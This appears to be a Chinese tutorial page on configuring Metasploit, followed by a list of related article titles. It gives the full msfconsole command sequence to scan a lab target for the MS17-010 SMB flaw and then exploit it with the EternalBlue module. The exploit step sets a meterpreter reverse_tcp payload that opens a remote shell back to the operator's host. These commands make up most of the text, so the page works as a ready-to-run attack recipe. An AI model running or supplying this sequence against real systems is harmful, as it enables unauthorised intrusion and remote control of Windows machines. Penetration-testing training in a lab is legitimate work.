Metasploit工具配置使用

1.在操作系统kali上打开终端，使用以下命令启动Metasploit终端：

msfconsole

2.检查靶机是否存在ms17-010漏洞

（1）搜索ms17-010相关模块：

search ms17-010

（2）分别输入以下命令，使用amb_ms17_010模块进行漏洞检测，确认其存在ms17-010漏洞：

use auxiliary/scanner/smb/smb_ms17_010 //使用模块

show options //查看模块需要设置哪些参数

set RHOSTS 靶机ip //设置目标机的ip

run //执行

3.关于缓冲区溢出攻击，exploit模块使用

（1）分别输入以下命令，使用ms17_010_eternalblue模块对目标机的ms17-010漏洞进行利用：

use exploit/windows/smb/ms17_010_eternalblue //进入 ms17_010_eternalbluemok

set RHOST 靶机ip // 设置远程主机ip地址

set LHOST 操作机ip // 设置本地主机ip

set payload windows/64x/meterpreter/reverse_tcp //使用payload:meterpreter/reverse_tcp

set RPORT 445 //设置目标端口

set target 0 //设置目标操作系统类型

run

Metasploit工具配置使用相关推荐

kali初讲——Metasploit工具MSF初学
Metasploit--MSF 文章目录 Metasploit--MSF 导论一.Metasploit简介二.Metasploit模块介绍三.MSF基础指令四.MSF常用模块粗讲五.msf搜 ...
Metasploit工具使用(下)
Metasploit工具使用 1.Metasploit简介 1.1.Metasploit下载 1.2.其它参考 1.3.本章简述 2.Meterpreter 2.1.简介 2.2.优点 2.3.注意事 ...
Metasploit工具
一. 简介 Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具,因此安全工作人员常用Metasploit工具来检测系统的安全性.Metasploit Framewo ...
2.Metasploit数据库配置及扫描模块介绍
01.Metasploit数据库配置及扫描模块介绍信息收集信息收集是渗透测试中首先要做的重要事项之一,目的是尽可能多的查找关于目标的信息,我们掌握的信息越多,渗透成功的机会越大.在信息 ...
JetBrains DataGrip工具配置数据库过程详解
JetBrains DataGrip工具配置数据库过程详解 DataGrip是一款数据库管理客户端工具,方便连接到数据库服务器,执行sql.创建表.创建索引以及导出数据等. DataGrip 是 Je ...
swing开发图形界面工具配置（可自由拖控件上去）
swing开发图形界面工具,eclipse swing图形化操作界面工具配置 1.有一个小功能要有一个界面,之前知道有一个图形化界面的(就是可以往上面拖控件布局的工具)JBuilder,今天上午就下 ...
Bootstrap 编码规范之编辑工具配置
编辑工具配置为了避免常见的代码不一致和差异,请按照下面的配置对你的代码编辑工具进行设置: 用两个空格代替制表符(soft-tab 即用空格代表 tab 符). 保存文件时,删除尾部的空白符. 设置文 ...
ultraedit教程java_Java开发工具配置UltraEdit基础教程
确定你的jdk环境变量配置是正确的. 对于java初学者来说,编译和运行java程序是一件很头疼的东西. 显然,在命令方式下编译和运行java程序用久了,确实是很麻烦, 而我们又不想使用大型的开发工具 ...
【实用工具】之在VS中使用自定义工具配置nasm/yasm
1 在VS中使用自定义工具配置nasm/yasm 1.1 方法一(参考开源工具) 可参考开源工具,具体做法是: (1).下载x264源码 (2).在windows下使用cmake便可产生vs的解决方 ...

Metasploit工具配置使用

Metasploit工具配置使用相关推荐

最新文章

热门文章